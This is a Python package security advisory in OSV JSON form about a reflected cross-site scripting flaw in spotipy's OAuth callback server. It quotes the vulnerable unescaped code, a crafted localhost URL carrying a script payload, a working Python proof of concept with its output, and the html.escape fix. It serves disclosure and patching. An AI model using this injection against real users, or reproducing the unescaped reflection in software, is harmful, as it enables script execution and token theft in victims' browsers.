{"id":"PYSEC-2026-1937","summary":"Spotipy has a XSS vulnerability in its OAuth callback server","details":"### Summary\nXSS vulnerability in OAuth callback server allows JavaScript injection through unsanitized error parameter. Attackers can execute arbitrary JavaScript in the user's browser during OAuth authentication.\n\n\n### Details\n**Vulnerable Code:** `spotipy/oauth2.py` lines 1238-1274 (RequestHandler.do_GET)\n\n**The Problem:**\nDuring OAuth flow, spotipy starts a local HTTP server to receive callbacks. The server reflects the `error` URL parameter directly into HTML without sanitization.\n\n**Vulnerable code at line 1255:**\n```python\nstatus = f\"failed ({self.server.error})\"\n```\n\n**Then embedded in HTML at line 1265:**\n```python\nself._write(f\"\"\"\u003chtml\u003e\n\u003cbody\u003e\n\u003ch1\u003eAuthentication status: {status}\u003c/h1\u003e\n\u003c/body\u003e\n\u003c/html\u003e\"\"\")\n```\n\nThe `error` parameter comes from URL parsing (lines 388-393) without HTML escaping, allowing script injection.\n\n**Attack Flow:**\n1. User starts OAuth authentication → local server runs on `http://127.0.0.1:8080`\n2. Attacker crafts malicious URL: `http://127.0.0.1:8080/?error=\u003cscript\u003ealert(1)\u003c/script\u003e&state=x`\n3. User visits URL → JavaScript executes in localhost origin\n\n\n### PoC\n\n**Simple Python Test:**\n```python\n#!/usr/bin/env python3\n# poc_xss.py - Demonstrates XSS in spotipy OAuth callback\n\nimport requests\nfrom spotipy.oauth2 import start_local_http_server\nimport threading\nimport time\n\n# Start vulnerable server in background\ndef start_server():\n    server = start_local_http_server(8080)\n    server.handle_request()\n\nthread = threading.Thread(target=start_server, daemon=True)\nthread.start()\ntime.sleep(2)\n\n# Send XSS payload\npayload = '\u003cscript\u003ealert(\"XSS\")\u003c/script\u003e'\nurl = f'http://127.0.0.1:8080/?error={payload}&state=test'\n\nresponse = requests.get(url)\nprint(f\"Status: {response.status_code}\")\nprint(f\"\\nHTML Response:\\n{response.text}\")\n\n# Check if vulnerable\nif payload in response.text:\n    print(f\"\\n[!] VULNERABLE: Payload '{payload}' reflected without escaping!\")\nelse:\n    print(\"\\n[+] Safe: Payload was sanitized\")\n```\n\n**Run it:**\n```bash\npip install spotipy requests\npython3 poc_xss.py\n```\n\n**Output shows:**\n```\nStatus: 200\nHTML Response:\n\u003chtml\u003e\n\u003cbody\u003e\n\u003ch1\u003eAuthentication status: failed (\u003cscript\u003ealert(\"XSS\")\u003c/script\u003e)\u003c/h1\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n\n[!] VULNERABLE: Payload '\u003cscript\u003ealert(\"XSS\")\u003c/script\u003e' reflected without escaping!\n```\n\n**The Proof:**\n- Expected (safe): `&lt;script&gt;alert(\"XSS\")&lt;/script&gt;`\n- Actual (vulnerable): `\u003cscript\u003ealert(\"XSS\")\u003c/script\u003e`\n- The script tags are NOT escaped → XSS confirmed\n\n### Impact\n\n**Vulnerability Type:** Cross-Site Scripting (XSS) - CWE-79\n\n**Affected Users:** Anyone using spotipy's OAuth flow with localhost redirect URIs\n\n**Attack Complexity:** Medium-High\n- Requires timing (during brief OAuth window)\n- Localhost-only (127.0.0.1)\n- Requires user interaction (click malicious link)\n\n**Potential Impact:**\n- Execute JavaScript in localhost origin\n- Access other localhost services (port scanning, API calls)\n- Steal data from local web applications\n- Extract OAuth tokens from browser storage\n- Bypass CSRF protections on localhost endpoints\n\n**CVSS 3.1 Score:** 4.2 (Medium)\n- Attack Vector: Local\n- Attack Complexity: High\n- Privileges Required: None\n- User Interaction: Required\n- Scope: Unchanged\n- Confidentiality/Integrity: Low\n\n\n**Recommended Fix:**\n```python\nimport html\n\n# Line 1255 - apply HTML escaping\nif self.server.error:\n    status = f\"failed ({html.escape(str(self.server.error))})\"\n```","aliases":["CVE-2025-66040","GHSA-r77h-rpp9-w2xm"],"modified":"2026-07-07T17:47:58.766812649Z","published":"2026-07-07T16:03:11.611342Z","references":[{"type":"WEB","url":"https://github.com/spotipy-dev/spotipy/security/advisories/GHSA-r77h-rpp9-w2xm"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-66040"},{"type":"WEB","url":"https://github.com/spotipy-dev/spotipy/commit/880b92d7243dcf2b83bf31dc365a858d8b5e6767"},{"type":"PACKAGE","url":"https://github.com/spotipy-dev/spotipy"},{"type":"PACKAGE","url":"https://pypi.org/project/spotipy"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-r77h-rpp9-w2xm"}],"affected":[{"package":{"name":"spotipy","ecosystem":"PyPI","purl":"pkg:pypi/spotipy"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.25.2"}]}],"versions":["0.1","0.2","2.0.1","2.0.2","2.1.0","2.10.0","2.11.0","2.11.1","2.11.2","2.12.0","2.13.0","2.14.0","2.15.0","2.16.0","2.16.1","2.17.0","2.17.1","2.18.0","2.19.0","2.19.0rc1","2.2.0","2.20.0","2.21.0","2.22.0","2.22.1","2.23.0","2.24.0","2.25.0","2.25.1","2.3.0","2.3.2","2.3.3","2.3.4","2.3.5","2.3.6","2.3.7","2.3.8","2.4.0","2.4.1","2.4.2","2.4.3","2.4.4","2.5.0","2.6.0","2.6.1","2.6.2","2.6.3","2.7.0","2.7.1","2.8.0","2.9.0"],"database_specific":{"source":"https://github.com/pypa/advisory-database/blob/main/vulns/spotipy/PYSEC-2026-1937.yaml"}}],"schema_version":"1.7.5","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N"}]}